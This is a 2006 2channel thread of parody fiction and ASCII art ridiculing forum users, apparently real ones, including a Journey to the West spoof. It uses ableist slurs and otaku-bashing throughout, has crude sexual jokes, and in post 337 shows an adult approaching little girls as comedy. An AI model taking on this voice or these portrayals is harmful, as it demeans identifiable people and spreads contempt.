312 :夜神 月(鍵っ子):2006/11/05(日) 00:09:54 ID:2fghe75Y
 早     /::::l:::l::、:::::、:::::ヽ::、::::::::::::\:::\::::::::ヽヽ::::::ヽ   駄
 .く      /:::!::::i:::!:::ヽ:::ヽ::::::ヽ::ヽ、::::::::::\:::ヽ:::::::ヽヽ::::::',   目 
 な.     /:l::::!::::ヽ!::ヽ:::::::ヽ:::::::\:::ヽ、::::::::ヽ:::ヽ::::::::!::i:::::::!  だ 
 ん   ハ:::l:::::、::::ヽ::::\:::::\:::::::\:::`ヽ、:::ヽ::ヽ:::::!:::!:::::l
 と   /:::::::l::::::!ヽ:ヽ::::、:::::ヽ:::、:\::::: \::::::\::::!::::ヽ:!:::i:::l:l  こ
 か  !:/!:::::!::::::!::ヽ:ヽ{:::\:::ヽ::::\:::\::ヽ:::::::ヽ!:::::::}!::::l::li|   の
 し  j/:::l:::::!:、:::!::ト、:、:ヽ:::::`ヽ{、::::::\::::\{、::::::::::::::::i::!::l:l !   エ
 な    l:i:l::::i::i:、:l::lテ=-、:ヽ、_、::\_,≧ェュ、_、\:::::::::i::li::!::リ   ロ
 い   !ハト:{:!:i:トN{、ヒ_ラヘ、{ >、{ 'イ ヒ_ラ 》\::l::!:ト!!:l::l!    ゲ
 と     ヽ i、ヽ:ト{、ヾ ̄"´ l!\   `" ̄"´  |::!:l::! j:ll:!    オ
  :      !::、::::i      l             u |:::/lj/l:!リ    タ
  :        ヾト、:!u                 j!/ j|:::リ     ・
          ヾ!    ヽ  ‐       u /イ´lハ/      ・
            }ト.、  -、ー-- 、__      /' !:://      ・
             リl::l゛、  `二¨´    /  |/:/
         rー''"´ト!::i{\       /  / !:/
        / ^ヽ  ヾ!  ヽ _,,、'´    /  j/

313 :夜神 月(鍵っ子):2006/11/05(日) 00:31:21 ID:2fghe75Y
:.:/:/./://:|:.:|:!:|:|i:.:.:゙,:.:.:.リ:.ヽ\
./:.:/:/:.:.//ハ:.:i:.:l:.:.i:.:.:i:.ヽ`:|:!:.:ヽヽ
:.:/.:/:.:./:.l!::.:.ハ:.V:.;、:i:.:.|:.:.ヽ|:.i:.i:.:.',:.゙:,
/l!:/.:.:/|!.|:.:./ハ:',:|:ヽ:、|!:.:.:.ハ:.||:.',:.i:、:',
!|l,:!:.:.:.:|.| |レ/∧:l:メ!:.ヽ:.:|:.|/:.i:.リ:、',:|:.i:.i   
:|l.|:.:.:.:|!.:|:.//¬i:.{‐、.:|.ト、:l:|、:.!:.:.i:ヽ|:.|:|
i:.:| |:.:.|l:.:.l/ィ示ヽミ !.メ| 〉ヽ!:|_!:.|:i.:N:.|
:.:.l!:l、.:.:l、:l`ヽ::ノ_, ' リ |i |.,.ィl、.|::!||:.メ:リ
、:.l!.N、:い!.        !く:::ソ } |:.:|/:/
!:i、.i!リ ヽ!         , `~ /|:ノ:/
:.i|:iN  `      .: ノ  /:!レ/′
:、l:|ハ     、____    /::i/'′
小| ヽ     `''ー‐`''  /|/l
:.:トヽ  \       /                      r‐-、r‐-、r‐-、r‐-、
N|`ヽ   ヽ、    , '´      ┌───────┤  ||  ||  ||_..._|‐───────┐
``'''‐- ..,_   iT"´           | ー──────‐ |_...._||  ||_...._|ヽ_,ノ. ─────── |
、_    ``''‐N、           | ID:jouu1XrE   .ヽ_,.ノ|.-‐.|ヽ_,ノ                   |
 `ヽ、      i          | ─────────. `ー' ー‐─────────‐ |
、   `ヽ、   |           | 2ちゃんねるでキモ味を馬鹿にする小説を書いて   |
、`ヽ、   \  |          | ──────────‐ :. ──────────‐ |
 \ \   ヽ.|ヽ         | その後、1週間以内にソフマップ2号館で死亡      |
   ヽ ヽ   |  \          | ──────────‐ :. ──────────‐ |

314 :夜神 月(アンチオタク):2006/11/05(日) 00:41:25 ID:2fghe75Y
たとえば、学校のホームルームで、オタクや秋葉系を排除していいか?
なんて議題があがるわけがない。
しかし、それが議題になったとしたら、みんな良い子ぶり
「それはいけない事です! 彼らにも人権はありますw」って言うに決まってる。
もちろんそう答えるのが正しいし、公共の場などでは表面上、そうでなくてはいけない。

しかし本音はこっちだ。表立ってアンチオタクのボクの存在を認めようとしないが、
誰が書いたか分からないインターネット上ではオタク叩きが蔓延している。
自分がオタクでない者は頑張れと叫び、自分がオタクな者は必死になるw

315 :名無しかましてよかですか?:2006/11/05(日) 01:37:58 ID:TRCuBAzb
現実世界でもキモ味というキモオタは居場所がありませをが?

316 :名無しかましてよかですか?:2006/11/05(日) 15:03:53 ID:hjeJfazI
キモ味みたいなゴミクズはどこ行っても真っ先に
排除されるけどな

317 :名無しかましてよかですか?:2006/11/06(月) 13:54:57 ID:RdxsJk5x
林間「このくだらん小説を書いたのは貴様だろ吉田!1!!!1」
政経の時間、教室に入ってきた林間は紙束を吉田の机に思いきり叩き付けて言った。
吉田はそれを手にとって読む。
コヴァ「おや?それってたしか2chのゴーマニズム板の
学園物語スレっていうネタスレじゃないですか?ボクチン、良く見ますから知ってますにょ。」

学園物語スレとは、3年と10ヶ月前に誕生したネタスレで、進学校に通う木庭マサヒデなる
架空の人物を主役にした作品である。そして、今年に入って一冊と呼ばれている人物を
元ネタにした新キャラの一冊ヨシヒトが登場、マサヒデから一気に主役の座を奪い取っていた。

吉田「へぇ、で、これがどうか?」
林間「貴様は俺の言ったことがわからんのかかんしゃくおこす!!1!!1
立派でさわやかな好青年の一冊を低脳キモヲタにしたクソ小説を書いたのは貴様だろ!1!!!」
吉田「違いますよ。」
林間「いいや、違わん!!1!!一冊にここまで粘着するのはお前か
低脳五流大学生で就職決まってないのに決まったと言う大嘘つき野郎の
ティキティキバンバンしかいないだろがかんしゃくおこす!1111!」
吉田「あれ?一冊の正体って先生だったんですか?
俺は基本的に書き込みしませんから、粘着なんかできっこないはずなんだけどなぁ?
それに、先生って一冊じゃないとしても、何でそこまで必死になって怒ってるんですか?」
林間「ああ、俺は一冊ではない!1!!!コヴァがアンチコヴァに
罵倒されたりしているのを見過ごせないだけだ!111!」
吉田「お言葉ですが、俺は2chではROM専ですから、こんなの書きませんよ。」
林間「ROM専ってなんだよ!111!またキモヲタ用語かキモイなお前は!1!1!
やーい、キモヲタキモヲタ!!1!!キモヲタはしんじゃえ!11!!」
吉田「言葉が悪かったようですね、ROM専ってのは2chを見るだけの人のことですよ。
一応2chをやってる人ならそれなりに知名度があると思って使ったんですけど。」

318 :名無しかましてよかですか?:2006/11/06(月) 13:58:50 ID:RdxsJk5x
林間「そうか!!11!みてるだけか!11!!そうだろうなぁ!!11!
アンチコヴァでサヨクで無知無能でキモヲタなお前がまともに議論したら
知性あふれるコヴァには絶対勝てないもんな!111!このひきこもり野郎!!11!」
吉田「何でそういう結論になるんですか?2chの使い方は人それぞれなんですし、
常に議論しなければならない義務なんて存在しませんよ。」
林間「ほう、そうか、だったら、俺がガチンコで徹底的に討論しようと言ったら、
受けてくれるか?ん?ヘタレのお前に受ける度胸なんか無いと思うけどな!!1!!」
吉田「いいですよ。受けましょう。一対一のハングルファイト形式で。」
林間「ん!?う、受けるか、いいだろう。で、いつやるの?先生は、
放課後ならいつでもあいてるんだけどなぁ…」
吉田「だったら、水曜日の放課後、午後五時にここでどうですか?」
林間「い、いや、その日はちょっと都合がつかなくてゴモゴモ…」
吉田「『議論しよう』と言ったのは先生の方ですよ。
水曜の放課後がダメなら、他の日の放課後を指定してください。
俺もその日の放課後の予定は空けておくつもりですから」
林間「うん…でも…」
吉田「受けるのか、受けないのか、はっきりと言ってください!」
林間「わ、わかった…じゃあ、金曜の放課後に…」
吉田「それじゃあ、立会人も付けておきましょう。鳥坂、コヴァ、キモ味、ジバク、
討論の際には、この四人をたち合わせます。」

そして金曜の放課後、林間は姿を現さなかった。その後、
吉田が林間を問い詰めようとすると、林間は腫れ物に触られたかのように
激しい火病を起こしていつものように大暴れしたそうである。

319 :名無しかましてよかですか?:2006/11/06(月) 22:39:55 ID:MWNl/lxs
>>317-318
推定って、そこまでヘタレななのか?
そう言えばMP3君も、見つけたースレにティキ氏と同時に現れた
のに、絡む事すら出来なかったへタレだったよな。

そんなにティキ氏が怖いのかねえ?

320 :名無しかましてよかですか?:2006/11/06(月) 23:35:37 ID:udWij5ZR
昔ティキに「会ってやる」って言い出したのに
ティキが「良いよ」と言ってメアドさらした瞬間に。
「何で会わなきゃいけないんだ」って逆ギレして逃げた事はある。
その時、「お前ら一人一人ハイキックぶちかましてやる。」
と吼えていた事も、
その時の推定のヘタレぶりを一層際立たせていたな。

321 :名無しかましてよかですか?:2006/11/07(火) 00:44:58 ID:XTbhcRV3
つうか奴ってネット上の発言は偉く勇ましいよな。
有事の際には命がけで師団を指揮する覚悟があるとかさ

322 :林間カヅフサの災難:2006/11/07(火) 11:55:17 ID:R0o14cpm
日曜日 エイトプリンス中心部
吉田「ふぅ、デスノート面白かったぁー」
鳥坂「腹減ったな、帰る前にメシ食おうや。」
コヴァ「賛成ですにょ。何処行きましゅか?」
吉田「マックでいいかな?」
その時「よう、吉田!」と声がした。吉田たちは声のした方を振り向くと、
そこにはいつものように林間と千葉と肝井がいた。
鳥坂「なんや、林間先生か」
林間「お前らは、彼女いるんじゃないのか?何で三人なんだ?ん?彼女とは別れたのか?」
吉田「別に男三人で遊んでてもいいでしょ。」
林間「そぉーかぁー!お前ら揃いもそろってキモヲタだもんな!1!!
お前らのキモヲタぶりにあの女どもも愛想が尽きて振られたんだろ?ん?」
鳥坂「だから違うって。それじゃあそういう林間先生は
これから彼女とデートするって言うんですか?そちらも男三人ですが」
林間「お、俺は関係ねーだろうがかんしゃくおこす!111!!1!」
肝井「にはは、ボクという彼女がいるじゃん。うぐぅ」
林間&千葉「氏ね!」
肝井「うぐぅ」
林間「ふん、まぁいいさ、で、お前らはこれから何をするんだ?」
吉田「いまからマックへ昼飯食いに行くところですが、何か?」
林間「マックって何じゃい!マクドと言えや!!!」
吉田「関西人しか言いませんよ、マクドって。」
林間「ひでぇなぁ。おい、鳥坂!お前も関西人ならマクドって言うよな?」
鳥坂「そりゃ俺はマクドといいますけど、先生みたいに他人に強制しませんよ。」

323 :林間カヅフサの災難:2006/11/07(火) 11:57:58 ID:R0o14cpm
林間「そ、そうか。で、俺らはこれからデスノートを見に行くところなんだが」
吉田「ああ、やはりそうですか。肝井の格好でわかりますよ。」
なるほど、肝井の服装は映画の主人公とよく似ている。
ただし、ピザ体型で車にひき殺された蛙のような顔をしている肝井は
主人公とは似ても似つかぬ風体ではあったが。
肝井「うぐ?わかるぅ?ボクは八神月之助!!新世界の神だよもん。
ボクは神!!ボクこそ正義!!ぐべっちょ、ぐべっちょ、ぐべんぐべん」
そう叫ぶ肝井に周囲の人がかわいそうな人を見る目で肝井を見る。
近くの女子高生が「キモーい」「きんもーっ☆」とこちらにまで聞こえる声で言っている。
空気を読めない林間もさすがに止めに入った。
林間「おい肝井、人多いところで変なこと叫んでんじゃねえ。
周りから基地害を見る目で見られてるぞ」
肝井「なにぃーー!!ボクがキチガイ?許せん!!デスノートに名前書いてやる!!!」
肝井はかばんから手製デスノートとペンを取り出した。
林間「名前もわからんのに?」
肝井「ボクは死神の目の取引をしたから名前が見えるんだよもん。
えーと、あのおじさんは…『もょもと16世』」
一同「なんじゃそりゃー!」ガビーン
吉田「肝井君よぉ、デスノートごっこはそれくらいにしようや。僕いくつ?」
肝井「うっさいキモオタ!!ボクの使命を邪魔するな!!」
吉田「何が使命だよ!この現実と空想の区別もできないバカが!」
肝井「だめだこのエロゲオタ…早く何とかしないと…」
吉田「はぁ、相変わらず日本語が通じねえな…」

324 :林間カヅフサの災難:2006/11/07(火) 12:01:24 ID:R0o14cpm
肝井「通じてるよ!!吉田君がエロゲオタだから
早く何とかしないとって言っただけじゃん。
それにボクはオタク用インターフェイスだからね。
オタクっぽい振る舞いをしてれば吉田君たちがかまってくれるし!!
ボク寂しがりやなんだよ!!だからかまってーかまってー」
吉田「あっそ、だったら俺、永遠にお前を無視することにするから。
だから、嫌々やっているオタクのふりなんかやめれば?」
肝井「駄目!許可しません!!ボクは吉田君が謝ってくれるまで
謝罪要求活動(作者注:嫌がらせ及びストーカー)を続けます!!」
吉田「何に謝れって言うんだよ。言っとくけど、お前に友達ができないとか、
成績が悪いとか、松沢にたびたび入院させられるのは俺とは関係ないからな。」
肝井「しらばっくれても無駄だよ!!鍵を馬鹿にした事を謝罪してくれるまでは
永久にこの活動は続くから!!これは被害者利権だよもん!!」
肝井はかばんに手製デスノとペンをしまうと、一枚の紙を取り出した。
それは肝井の粘着材料である某美食漫画と肝井の好きな葉鍵エロゲのコラであった。
(参考→http://oishi2ch.hp.infoseek.co.jp/souko/oishi002.jpg
肝井「この著作権違反のクソコラ作ったのはエロゲーオタキングの吉田君だろ!!
早く謝罪してよ!!謝罪しろ謝罪しろ謝罪しろ謝罪しろ(ry」
三分ほど肝井は謝罪しろと絶叫していると松沢の黄色い救急車が到着、
肝井は救急車に押し込められた。連行の際、肝井が我に返ると、
そこには吉田はおろか、林間たちまでいなくなっていた。

一方、最初はデスノートを見に行く予定だった林間と千葉であったが、
映画館に着いてまもなく千葉がたまたま上映されていたガンダムを見たいとごね、
しょうがないのでガンダムを見に行くと、映画が始まるや否や、「ガンダム原作者は、
人型ロボットを活躍させるためなら物理法則を都合がいいように好きに捻じ曲げまくる!」
と奇声を叫び始め、映画館から追い出され、
間もなく林間と千葉の家に映画館から出入り禁止通知が届いた。

325 :名無しかましてよかですか?:2006/11/07(火) 13:38:25 ID:azJelAYO
>>319 >>320
いや、公開討論で来いとか言って、いざ挑まれたら逃げ出した
小林尊師にならったのだろうw  信者の鑑だ。
まあ、尊師の場合は雑誌からまで逃げ出したのだが、学校から
は逃げ出せない林間がヘタレなのは間違いないが。

326 :名無しかましてよかですか?:2006/11/07(火) 18:46:24 ID:eX/m3X/p
>>316
他人をゴミクズだと汚く罵るとは品性が欠けていますね。育ちが分かるというものです。
感情を書きなぐるだけの書き込みは2ちゃんねるのサーバーの負担になります。
閉鎖危機を思い出してください。
罵詈雑言は荒れの元になるので差し控えてください。
品性と思慮分別があるのなら有意義な書き込みを行ってください。

〜〜〜2ちゃんねるガイドより 転載〜〜〜〜

お約束・最低限のルールって?△ ▽  ▲ ▼


 他人に迷惑をかけるのはやめようということです。。。

 必要以上の馴れ合いは慎しむとか、暴言や第三者を不快にする書き込みはしないとか、
悪質な削除要請や自己中心的な発言はひかえるとか、どれもむずかしくないことなんだけどなぁ。
 また、一般人の誹謗中傷・私生活情報暴露は禁止します。 
固定ハンドルさんを叩く行為も、最悪板以外の場所では禁止してます。

327 :名無しかましてよかですか?:2006/11/07(火) 18:51:10 ID:R0o14cpm
推定クラスのものすごいブーメランを見た気がした

328 :名無しかましてよかですか?:2006/11/07(火) 19:22:05 ID:jazMU9q5
デンパ統合って奴ですな。

329 :林間のパラレル西遊記:2006/11/08(水) 11:11:26 ID:G1cG0CWX
昔々の事、中国にそれはそれはデンパなお坊さんがおりました。
性欲・妬み・粘着の三つの徳を兼ね備えたそのお坊さんはそれはもう、
人々から恐れられておりました。そのお坊さんは名を林間法師といいました。

都の長安では、彼の噂を聞きつけた時の皇帝、菊地帝が林間法師を宮廷に呼び寄せ、
天竺に行き、善紀如来(よしのりにょらい)のお書きになられたありがたい書物、
「劫宣(ごうせん)」を取りに行くように林間法師に命じました。

林間法師は最初、「むぉおおん、いやだむぉおおおん」と駄々をこねていましたが、
菊地帝は見事取って帰ったら、豪勢な屋敷に国費で住まわせ、金髪の若い娘に
身の回りの世話、それも家事とかばかりでなく、あんなことやこんなことまで
世話をさせると言うと、林間法師は目の色を輝かせ、
ポークビッツを奮い立たせて、早速旅の準備に取り掛かりました。

それから一週間後、林間法師は八人の従者を連れて遠い天竺への旅に旅立ちました。
そしてその旅の途中、デンパというか、妖怪というか、そんな連中と意気投合し、
時には相手を信頼し、時には相手を平気で裏切り、時には相手を利用しているつもりで
実は利用されてたりの何百里、何千里の旅が繰り広げられようとしてました。

330 :林間のパラレル西遊記:2006/11/08(水) 11:12:15 ID:G1cG0CWX
主役:林間法師 (林間カヅフサ)
「げへへへへ、長安に帰ったら金髪のあの子とあんな事やこんな事ができるーーー
まっててぇーーんボクの金髪さーーん!!今、デュークが行くわよぉぉーーーん!!1!!」

お供その一:千葉行者 (千葉ヒサユキ)
「ギャワーーー!!わしも長安でカプリコの安定供給と
ゆうこりん、エビちゃん似の美女による(性的)奉仕を望むのじゃよー」

パシリ:超肝井 (肝井味平)
「ボクが猪八戒だと!?ふざけるな!!作者氏ね!!!かんしゃくおこす!!!!!!
謝罪しろ謝罪(ry謝れ謝れ謝(ryhg呪医hgヴいrghるいghr!!!!!
ボクをオリジナルキャラのイケメンでデスノートで妖怪を退治する
月法師(鍵っ子)にしてくれるまで謝罪要求する!!!!」

お供その二:真保悟浄 (真保トシヤ)
「ふっ、俺のコトリピンナップの手にかかれば萌え倒せん相手はいない!!!」

白馬:郡家(こぉげ) (守本紳八)
(な、何でボクが馬なんですかね!!!このど気違い!!切れた寝る!!!!)

はたして、林間法師と不愉快な仲間たちは無事天竺にたどり着き、
善紀如来の書かれたありがたい書物「劫宣」を手にすることができるのでしょうか?

331 :林間のパラレル西遊記:2006/11/08(水) 21:24:42 ID:G1cG0CWX
林間法師一行は国境を越え、天竺へ向けて見渡す限りの草原を進んでいきます。
馬上の林間法師は従者たちに善紀如来のすばらしさをこれでもかと言い聞かせ、
遠くに遊牧民の若い女を見れば「いぐぅぅぅぅぅ」と叫びながらその女のところへ行こうとし、
従者の作る食事にあれ嫌いこれ嫌いと文句をたれ、時には従者たちにいきなり論戦を挑み、
何が何でも自分の勝利に持っていこうとし、そうしているうちにその環境の辛さから
一人、二人と脱走を始め、いつの間にか従者は一人もいなくなっていました。

林間法師「けっ、根性のねえ連中だ。あいつらアニメばかり見てるから駄目なんだ!!1!!」

この時代にアニメがあるかどうかはさておき、林間法師は山道に入り、
苦しそうな顔をする愛馬「倭琉球零(わるきゅうれ)」に「真面目にやれ!!1!
このクソ駄馬が!!11!!桜肉にするぞ!!11!」と罵倒しながら山道を進んでいきます。
しかし、倭琉球零の努力もむなしく、倭琉球零はついに倒れて死んでしまいました。
林間法師は倭琉球零をぶつぶつ文句を言いながら、焼肉にして食ってしまいました。
そして肉を食べた生臭坊主の林間法師は自分の足で天竺に向け歩き出しました。
幸い、そう遠くないところに村があり、林間法師はそこで二頭目の馬を購入、
馬に「芭琉貴璃偉(ばるきりい)」と名づけました。
ところで、その村で林間法師は村民から奇妙な噂を聞きました。
──うちの村の近くの山に夜な夜な絶叫する頭のおかしいサルがいて、
三十年も人々を苦しめている──
林間法師はその噂を聞くや、この村の村長の家に行きました。

林間法師「おたくの村の近くに夜な夜な絶叫する頭のおかしいサルがいるようだが」
村長「そうです。ときに御僧、まさかあのサルを退治してくれるというのですか?
あの三十年近くあのうるさい絶叫で我々を苦しめてきたあのサルを。」
林間法師「ええ、退治いたしましょう。そのかわり、報奨金をいただきたい」
村長「無償奉仕ってすばらしいことだと思いませんか?」
林間法師「思いません。報奨金をくれないなら、あのサルは無視します。」
村長「…わかりました。1万ほどで手を打ちましょう。」

こうして近くの山、五行山のサル退治の交渉がまとまったのでした。

332 :林間のパラレル西遊記:2006/11/08(水) 21:28:21 ID:G1cG0CWX
そして翌日、準備を整えた林間法師はそのサルのいる山を登り始めました。
林間法師がこのサル退治を引き受けたのは、昨日の馬の購入で
菊地帝から貰った路銀の大半を使ってしまったからです。
つまり、このサルを倒して金を貰う事は彼にとって死活問題でした。
山頂に近づくにつれ、耳を引き裂く凄まじい大声が
林間法師の耳に響いてきます。

「ミギャーー!!わしは斉天大聖なのじゃよーーー!!!」

耳をふさぎつつ、林間法師は山頂にたどり着きました。
そこにはサルと言うより、宇宙人といったほうが正しい、ブリーフ一丁の男がいました。

林間法師「お前か!この騒音の正体は!やかましいんだよかんしゃくおこす!1!!!!」
男「ん?君は何なのかの?」
林間法師「村の連中がうるさくてキモいから絶叫をやめろってさ」
男「あいつらが悪いのじゃよ。わしは斉天大聖なのに、認めてくれないのじゃよ。」
林間法師「とにかくうるさいからやめろ。村の連中はともかく、俺としてはすごい迷惑だから。」
男「しかし…」
林間法師「時にお前、豪勢な家に住みたくないか?
そこに住めばあまりの幸せっぷりに斉天大聖なんかどうでもよくなるぜ。」
男「気に入った!!早速そこへ連れて行くのじゃよ」
林間法師「残念だが、いきなりというわけにはいかん。俺は皇帝の命令で天竺へ
「劫宣」というありがたい書物を取りに行く旅の途中なんだ。
そこへ行って無事戻らんと、その豪勢な家には住めないんだ。
で、お前に頼みがある。俺の従者としてこの旅に付き合ってくれたら
お前も豪華な家で生活できるように計らってやるから。」
男「うーん…わかった。天竺まで行けばいいのじゃろ?付き合うのじゃよ。」
林間法師「よし、じゃあ、村を出るまでは俺にとっ捕まったふりをしていてくれ。
俺は林間法師だ。よろしく」
男「わしは千葉行者なのじゃよ。」

千葉行者が仲間になった!(BGM:ドラクエの仲間加入)

333 :林間のパラレル西遊記:2006/11/08(水) 21:29:52 ID:G1cG0CWX
林間法師は猿ぐつわをはめ、縄で縛り付けた千葉行者を連れて村長のところへ行きました。

村長「ほう、本当にあのサルを退治してくださるとは。これで村民も静かに暮らせるでしょう。
脱帽です。それでは、褒美をお受け取りください。」

村長はそう言うと、林間法師に1リットル入り牛乳瓶を10本渡した。

林間法師「…なんだこれは」
村長「褒美ですが?うちの村の名物、おいしい牛乳10000ccです。」
林間法師「てめぇ!!嘘つきやがったな!!言ったよな!!一万ゼニーくれるって!!」
村長「はて?私はお金を渡すといった覚えはありませんよ。」
林間法師「小学生みたいな屁理屈言うなかんしゃくおこす!!11!!
卑怯だ!!1!!俺がこの町を救ってやったのに!!1!!」
村長「あいにくですが、三十年たつうちに我々もそのサルの絶叫には慣れてしまいましてな。
別に奴が居ようが居まいがどうでもいいわけで。
まぁ、今回のところは牛乳10000ccが褒美ということでご容赦を。」

ゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴ

林間法師「スーパーかんしゃくおこすぅぅぅうううぅう!!!11!!11!!」

林間法師は手にもった牛乳をすべて村長にぶっ掛け、
泣きそうな顔をしながら千葉行者を連れてこの村を去りました。

334 :名無しかましてよかですか?:2006/11/09(木) 00:36:15 ID:XtJsIiXs
長編期待

335 :名無しかましてよかですか?:2006/11/09(木) 06:16:51 ID:oz9//oP9
朝からワロタ

336 :15年後:2006/11/09(木) 11:07:02 ID:4uuH5ASo
エイトプリンスの和食店
コヴァ「では、国崎先生の大学教授就任を祝ってかんぱーい」
「かんぱーい」
コヴァ・鳥坂・吉田の三人に、更に吉田の姪と娘、担任ファミリー(サユリ、誠司。上二人は欠席)
が担任のイルボン大学教授就任のお祝いの会をしていた。
担任「いやー、みんなありがとう。特にコヴァ、私は間違いなくお前がいなかったら
研究業績を積み重ねられなかったよ」
コヴァ「うれしいんだかうれしくないんだが微妙ですよ」
吉田「そうですよ、出版社の担当編集でもあるんですし、感謝した方がいいんじゃないですか」
担任「ああ、ごめんごめん。それにしてもみんなどうしてるんだ?コヴァは知ってるが」
コヴァ「吉田君は実家でカウンセラーみたいなのをやってるですよ」
吉田「・・・コヴァ。それじゃあオレがやってることがインチキみたいだろ」
コヴァ「鳥坂君はアニメのプロデューサーですね」
鳥坂「そういえばさ、最近何か昔のアニメキャラの名前騙った変な手紙くるんやけど」
担任「鳥坂、それは絶対無視しろ。私のカンが不吉な予感がすると言っている」
コヴァ「で、ボクは担任の今や担当編集ですよ。頑張りました。勿論担任の先生の
お力添えもありましたが」
担任「むしろオレはさんざん迷惑かけられた思い出しかないがなあwむしろコヴァにとっては・・・」
吉田「でも、みんな最初は全然違う仕事やっていたんですよねえ。ボクは都知事大学出た後
二年ほど会計ソフトの営業やってましたし、鳥坂もゼネコン営業から広告代理店へ転職」
コヴァ「ボクも新卒では大東亜印刷しか決まらなかったですし、その後出版社に
転職しましたね」
担任「私もあの頃は高校教師で結構腐ってたなあ・・・。上司には恵まれなかったし、そういえば・・・」
と担任が何か言いかけたとき、担任の妻のサユリが何かに気づいた。
サユリ「あなた、誠司がいないわ!」
担任「どうせ吉田が連れてきた子どもたちと遊んでいるんだろ、誠司は子ども好きだからな」
サユリ「でも・・・」その時、吉田が口を開いた。
吉田「ああ、オレが探してきますよ」

337 :15年後:2006/11/09(木) 11:07:58 ID:4uuH5ASo
吉田は何か嫌な予感がしていた。姉・キリコの娘リエは、姉がロシア人と結婚したため
銀髪の持ち主で、蛍光灯の加減によっては金髪に見える。自分の娘、マミコも髪の毛が
赤みがかってみえる。かつ、二人ともかなり可愛らしい。
「何か」嫌な予感がする。吉田はお祝いの会がエイトプリンスでやると知ったときそう
ふと思ったが、可愛い娘二人に押し切られる形で連れてきてしまった。
吉田「オレとしたことが・・・」
まず、吉田はトイレに向かった。そしてそこでは衝撃的な光景を目にするのであった。
××「グフフフフ、お嬢ちゃん・・・。おぢちゃんと一緒に遊ぼうよ・・・」
女子トイレの前でリエとマミコに絡む年老いたガリヲタ・・・。それは50代の林間であった。
リエ「いやー」マミコ「お姉ちゃん、変な人がいるよー」
吉田「何やってるんだお前はぁぁぁぁぁぁ」
林間の頬に吉田の右ストレートが炸裂する
林間「ぐはぁっ」
誠司「ど、どうしたの」
そこにやってきたのは担任の三男の誠司、女の子二人が怯えていることにただならぬ事態を
把握したのか二人をぎゅっと優しくなだめるように抱いた。
リエ「あのね、トイレに誠司君がおトイレ入ったらこの変な人が・・・」
吉田「林間っ、お前っ、一体何しようとした?」
林間「そりゃあ好みのヴァルキリーを・・・」
ヒトとして最悪の発言キタコレ
吉田「・・・警察に連れて行く、こいつを野放しにできん」
林間「だってーだってー、学校リストラされるしワタシノコーできないしー」
吉田「それとこれとは話が別だ。おい、誠司、二人を先生のトコに連れて行け。そして
代わりに先生を呼んでこい」
林間「所で何でお前がこんなところにいるの?」
吉田「あ?国崎先生が大学教授になったお祝いだよ。あと、あの二人の娘はオレの娘と
姉ちゃんの娘だ」

338 :15年後:2006/11/09(木) 11:09:49 ID:OOyl7Dy/
林間「な、なんだってーーーー・・・・・あんな可愛い女の子を小さい頃から手込めにして
お好みの格好させてワタシノコーなんてかんしゃくおこす!11!!!」
吉田「お前の脳みそは腐ってるのかぁぁぁぁぁぁぁ」
吉田が叫んだところ、そこに担任が来た。
担任「おい、林間。お前こんなとこで何をしている」
林間「なんでお前が大学教授でボクチンは時給1000円の飲食店アルバイトなんだよ
かんしゃく起こす!1!!!」
吉田「・・・で、こいつオレの娘と姉ちゃんの子にいたずらしようとしてました」
担任「・・・林間・・・」
その後、通報こそ免れたがこの騒ぎで林間は店をクビになった。
そして吉田は一層思想デムパのケアに力を注ぎ、誠司は変質者から子どもたちを守る
警察官になりたいと言うようになり、リエは「あの」母の後を継ぎたいと言うようになり、
マミコも精神科医になりたいというようになった。

林間「うーん、うーん、何で吉田ばかり・・・ん?」
そこはエロゲと汚れたティッシュが散乱する林間ハウス。
林間「夢・・・、夢なのにあんな内容でかんしゃくおこす!1!!!1これは絶対
ブサヨやアンチコヴァがボクの安眠を妨げる妨害デムパを・・・」

いつもの天界
オペ「エルヴァ様、林間へのリアルイメージの注入が失敗しました」
エルヴァ「ああ・・・、失敗なのねぇ・・・」
オペ「コヴァ・ノート事件以降将来修正のためにイメージ注入を行っていますが成果は
出ていません」
エルヴァ「方法変えなきゃだめかしらぁ・・・」

339 :林間のパラレル西遊記:2006/11/09(木) 16:19:14 ID:szVRuBIg
天竺を目指して林間法師と新たにお供に加わった千葉行者の旅は続きます。

千葉行者「のぅ、金髪スキー君」
林間法師「俺の事はお師匠様と言えと言っているだろかんしゃくおこす!!11!!」
千葉行者「別におぬしに教わったことなど無いのじゃがの」
林間法師「おお、そうか!だったら教えてやろうじゃないか、
善紀如来の教えのすばらしさと金髪のおにゃのこのすばらしさをな!」

それから林間法師は延々と千葉行者に善紀如来の素晴らしさを1割、
金髪の女の子の素晴らしさに9割の割合で両者の素晴らしさを説きました。

それから、2週間もたった頃でしょうか、林間法師は街道を外れて
おかしな道にまよいこんでしまいました。鬱蒼とした森を林間法師たちは
闇雲に歩きますが、ますます迷うばかりです。

日も暮れ、夜になってしまいました。「まっくら森」並みの真っ暗な森の中、
林間法師と千葉行者は「こわいよーー!!!ママーーーーン!!」と泣き叫びながら
相変わらず闇雲に歩いていましたが、その時、二人の嗅覚がイカくさい臭いを捕らえました。

林間法師「むっ、これは!!ポークビッツいじりした後で部屋に漂う臭い…」
千葉行者「近くに人が住んでおるようじゃの。あっ、金髪スキー君、あそこに光が!」

林間法師たちはその光の方向に向かって進みました。
それと共に、さっきのイカくさい臭いはきつさを増していきます。
林間法師たちはついに民家にたどり着きました。
林間法師は戸を叩きつつ、あらん限りの大声で叫びます。

林間法師「助けてくれぇーーー!!1!!しぬぅーーーー!!!1!
この僧侶は怪しいものではないので、見捨ててはいけません!!1!!1
天竺に行くのがこんなに辛いなんて…だから嫌なんだかんしゃくおこす!!!1!」

340 :林間のパラレル西遊記:2006/11/09(木) 16:26:01 ID:szVRuBIg
戸が開き、中から住人が顔を見せました。
その男は奇怪なことに、豚なのか、人間なのか見分けのつかないほどのブ男でした。
      _____    
   / ̄/      ̄ヽ          _____________
  //  /         ヽ        /
  ||| | -=・=-  -=・=- ヽ     / うぐぅ、この家にお客様とは珍しいんだよもん。
  |.|| ||  `ー'(、●^●,)ー'  ヽ  /
 | | ||    ノトェェイヽ     l <    ボク、とても嬉しいんだよもん。ブヒヒヒヒ
 | | ||     ヽ`ー'ノ     /  \
  |i ゝ             /    \  かまってーかまってーかまってー
 //∧|\___。つ._--      \
                         ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
